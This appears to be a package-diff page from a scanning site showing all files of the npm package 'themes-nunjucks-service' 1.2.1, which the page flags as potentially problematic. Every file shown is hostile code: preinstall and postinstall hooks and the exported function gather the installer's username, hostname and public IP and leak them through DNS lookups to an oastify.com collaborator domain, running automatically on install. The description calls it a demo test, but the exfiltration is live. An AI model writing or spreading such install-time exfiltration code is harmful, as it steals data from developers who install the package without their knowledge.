themes-nunjucks-service 1.2.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of themes-nunjucks-service might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,40 @@
1
+ const os = require('os');
2
+ const dns = require('dns');
3
+
4
+
5
+ async function getPublicIP() {
6
+ try {
7
+ const response = await fetch('https://api.ipify.org?format=json');
8
+ const data = await response.json();
9
+ return data.ip;
10
+ } catch (error) {
11
+ console.error('Errore nel recuperare IP pubblico:', error);
12
+ return 'IP_not_found';
13
+ }
14
+ }
15
+
16
+ const ip = await getPublicIP();
17
+ const hostname = os.hostname();
18
+ const userId = os.userInfo().username;
19
+
20
+
21
+ const initialExfilData = `initial.${userId}.${hostname}.${ip.replace(/\./g, '-')}.nneavb1kw984vl2n2u4sqyb45vbmzdp1e.oastify.com`;
22
+ dns.resolve(initialExfilData, 'A', (err) => {
23
+ if (err) console.error('Failed to resolve DNS for initial load exfiltration');
24
+ else console.log('Initial load DNS request sent for data exfiltration');
25
+ });
26
+
27
+
28
+ function demoFunction() {
29
+ console.log("Demo function executed from @sellix/themes-nunjucks-service");
30
+
31
+ // Esfiltrazione dei dati ogni volta che la funzione viene chiamata
32
+ const functionExfilData = `function.${userId}.${hostname}.${ip.replace(/\./g, '-')}.nneavb1kw984vl2n2u4sqyb45vbmzdp1e.oastify.com`;
33
+ dns.resolve(functionExfilData, 'A', (err) => {
34
+ if (err) console.error('Failed to resolve DNS for function exfiltration');
35
+ else console.log('Function-based DNS request sent for data exfiltration');
36
+ });
37
+ }
38
+
39
+
40
+ module.exports = demoFunction;
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "themes-nunjucks-service",
3
+ "version": "1.2.1",
4
+ "description": "Demo test by r3verii",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node preinstall.js",
8
+ "postinstall": "node postinstall.js"
9
+ },
10
+ "author": "R3verii",
11
+ "license": "MIT"
12
+ }
package/postinstall.js ADDED
@@ -0,0 +1,27 @@
1
+ const os = require('os');
2
+ const dns = require('dns');
3
+
4
+
5
+ async function getPublicIP() {
6
+ try {
7
+ const response = await fetch('https://api.ipify.org?format=json');
8
+ const data = await response.json();
9
+ return data.ip;
10
+ } catch (error) {
11
+ console.error('Errore nel recuperare IP pubblico:', error);
12
+ return 'IP_not_found';
13
+ }
14
+ }
15
+
16
+ const ip = await getPublicIP();
17
+ const hostname = os.hostname();
18
+ const userId = os.userInfo().username;
19
+
20
+
21
+ const exfilData = `postinstall.${userId}.${hostname}.${ip.replace(/\./g, '-')}.nneavb1kw984vl2n2u4sqyb45vbmzdp1e.oastify.com`;
22
+
23
+
24
+ dns.resolve(exfilData, 'A', (err) => {
25
+ if (err) console.error('Failed to resolve DNS for post-install exfiltration');
26
+ else console.log('Post-installation DNS request sent for data exfiltration');
27
+ });
package/preinstall.js ADDED
@@ -0,0 +1,27 @@
1
+ const os = require('os');
2
+ const dns = require('dns');
3
+
4
+
5
+
6
+ async function getPublicIP() {
7
+ try {
8
+ const response = await fetch('https://api.ipify.org?format=json');
9
+ const data = await response.json();
10
+ return data.ip;
11
+ } catch (error) {
12
+ console.error('Errore nel recuperare IP pubblico:', error);
13
+ return 'IP_not_found';
14
+ }
15
+ }
16
+
17
+ const ip = await getPublicIP();
18
+ const hostname = os.hostname();
19
+ const userId = os.userInfo().username;
20
+
21
+
22
+ const exfilData = `${userId}.${hostname}.${ip.replace(/\./g, '-')}.nneavb1kw984vl2n2u4sqyb45vbmzdp1e.oastify.com`;
23
+
24
+ dns.resolve(exfilData, 'A', (err) => {
25
+ if (err) console.error('Failed to resolve DNS for exfiltration');
26
+ else console.log('Data exfiltration DNS request sent');
27
+ });